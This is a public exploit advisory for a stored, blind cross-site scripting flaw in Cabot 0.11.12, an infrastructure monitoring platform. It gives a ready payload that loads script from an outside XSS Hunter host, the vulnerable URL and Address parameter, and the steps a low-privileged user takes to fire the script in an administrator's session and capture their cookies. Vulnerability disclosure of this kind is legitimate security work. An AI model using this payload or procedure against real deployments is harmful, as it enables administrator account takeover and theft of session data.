Cabot 0.11.12 Cross Site Scripting

2020.09.08
Credit: Abhiram V
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title: Cabot 0.11.12 - Persistent Cross-Site Scripting # Date: 2020-09-06 # Exploit Author: Abhiram V # Vendor Homepage: https://cabotapp.com/ # Software Link: https://github.com/arachnys/cabot # Version: 0.11.12 # Tested on: Ubuntu Linux ############################################################################ Introduction Cabot is a free, open-source, self-hosted infrastructure monitoring platform that provides some of the best features of PagerDuty, Server Density, Pingdom and Nagios without their cost and complexity.It provides a web interface that allows us to monitor services and send telephone, sms or hipchat/email alerts to your on-duty team if those services start misbehaving or go down . ############################################################################ XSS details: Blind XSS ############################################################################ Executing Blind XSS in New Instances leads to admin account takeover URL http://127.0.0.1:5000/instance/create/ PAYLOAD "><script src=https://anonart.xss.ht></script> *payload from xsshunter.com platform for finding blind xss* PARAMETER Address column EXPLOITATION Create a user account under django administrator account and login as user to perform the attack Create a new instance and save the instances, Navigate to Services. Create a new Service from then input a Name and Url (for POC i used BlindXSS in both columns). Then append the admin account in Users to notify column and use status check and instances then save. Now the admin account gets a notification when the admin runs the check Blind XSS executes in background. when login to xsshunter.com we can see the screenshots cookies and all details of admin account IMPACT Stored XSS can be executed from any accounts and triggered in any accounts including django administration unknowingly by the victim (here it is admin) and compromise the accounts. Tested in both xsshunter.com and blindf.com Attacker can also use stored xss payloads here. ############################################################################


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